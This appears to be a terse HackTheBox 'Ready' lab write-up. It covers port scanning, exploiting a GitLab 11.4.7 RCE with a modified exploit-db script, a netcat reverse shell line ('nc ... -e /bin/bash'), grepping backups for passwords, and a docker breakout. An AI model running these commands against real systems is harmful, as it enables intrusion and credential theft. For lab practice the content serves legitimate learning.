HackTheBox-Ready WriteUp
HackTheBox-Ready WriteUp
IP:10.10.10.220
Nmap
port:22
SSH
port:5080
http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE)
Build Exploit :
https://www.exploit-db.com/exploits/49334
#-P need change to other thing cuz the -p will be -P,i change it to -port
parser.add_argument(‘-port’, help=’reverse shell port’, required=True)
local_port = args.port # change it to port too
nc {local_ip} {local_port} -e /bin/bash #need change
Foothold
nc -lvvp port
python3 gitlab11.4.7.py -u username -p password -g http://10.10.10.220 -l ip -port port
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
User
cd /home/ #Found the username
/home/dude
#user
dude/user.txt
Enum Root
1 |
|
need enum more things.
Enum local
/opt/backup/* #Found
cat ./* | grep “passw”
gitlab_rails[‘smtp_password’] = “wW59U!ZKMbG9+#h” #test for su users
wW59U!ZKMbG9+#h #docker root passowd
Docker escape
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
1 |
|